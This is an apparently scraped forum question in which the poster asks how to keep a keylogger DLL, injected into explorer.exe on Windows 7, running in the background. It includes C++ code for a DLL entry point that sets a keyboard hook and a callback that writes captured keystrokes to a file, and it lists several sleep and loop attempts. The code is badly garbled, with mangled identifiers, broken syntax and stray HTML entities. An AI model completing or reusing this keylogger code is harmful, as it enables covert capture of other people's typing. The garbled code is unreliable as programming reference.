c++ - Infinite loop in a dll injected on explorer.exe -


I am trying to create a keylogger on Windows 7. To do this, I have a Dll ( setHook .dll ) that I inject into the new thread of explorer.exe. In this first DLL, I open another DLL which has the function called ( hookfunc ) on each keyboard input.

I have to let my DLL go in the background because if it dies, I lost my hook function. To do this, I have tried:

  • Sleep (INFINITE); : Works a moment but explorer.exe crashes
  • while (1); : Works a moment but explorer.exe crashes
  • system ("pause") : is working!
  • getchar () : As system ("pause")
  • >;
  • System ("Pause"; : Access Denied
  • this_thread :: sleep_for (chrono :: seconds (10)) : explorer crash

SetHook.dll:

  BOOL WINAPI DllMain (Histyine H Instance, DWORD dwReason, LPVOID) {HMODULE dll; Hukoprosey Adrar; HHOOK handles; If (dwReason! = DLL_PROCESS_ATTACH) is true; If (! (Dll = LoadLibraryA ("E: \\ Projects \\ Visual Studio 2013 \\ Projects \\ Inject \\ x64 \ debug \\ inject.dll \")) Return; If (! (ADR = (Hokaprosey) Getprocedress (DLL, "hookfunk")) false return;  

CallbackFunc: If the handle = set windowheckx (WH_KEYBOARD, ADR, DLL, 0) returned); sleep (infinite); // problem here is true; (I do not think this can help)

  LRESULT callback hookfun (int code, WPARAM wParam, LPARAM lParam) {std :: ofstream file; word buf = 0 ; Byte Keystast [256]; File.open ("e: \\ function.txt", std :: ofstream :: out | std :: ofstream :: app); if (code> = 0 & amp; amp; ; & Amp; amp; amp; amp; amp; amp; amp; amp; amp;; &> Keyboard (lParam) {if (wParam == VK_RETURN) file & Lt; <"[enter]"; other {GetKeyboardState (KeyState); ToAscii (wParam, lParam, K Stat & amp; buf, 0); file & lt; & lt; (four) buf;}} File.close (); return (call-nx acicax (null, code, WPMAM, LPR));  

The code works, I only need a thoughtful infinite loop in exchange for INFINITE. Any ideas?

Comments